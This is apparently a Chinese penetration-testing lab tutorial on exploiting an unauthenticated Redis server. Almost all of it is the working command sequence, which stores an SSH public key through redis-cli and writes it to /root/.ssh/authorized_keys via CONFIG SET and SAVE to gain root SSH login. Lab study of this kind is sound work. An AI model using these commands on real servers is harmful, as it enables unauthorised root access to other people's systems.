redis未授权访问利用

文章目录

  • 准备环境
  • 连接测试
  • 利用方式:写入本地公钥
      • 生成本地公钥
      • 写入公钥到redis
      • 连接redis写入靶机
      • 连接靶机

准备环境

靶机一台:centos7,172.16.12.2
开redis服务,6379

本机,有redis-cli客户端

连接测试

redis-cli -h 172.16.12.2

在这里插入图片描述
redis未授权访问利用_第1张图片

利用方式:写入本地公钥

生成本地公钥

ssh-keygen -t rsa

redis未授权访问利用_第2张图片

写入公钥到redis

(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt

cat /tmp/foo.txt |  /usr/redis/redis-cli -h 172.16.12.2 -p 6379 -x set crackit

在这里插入图片描述

连接redis写入靶机

redis-cli -h 172.16.12.2
keys *
config set dir /root/.ssh
config get dir
config set dbfilename "authorized_keys"
save 
exit

redis未授权访问利用_第3张图片

连接靶机

因为设置了phase,所以输入123456
redis未授权访问利用_第4张图片

你可能感兴趣的:(渗透测试)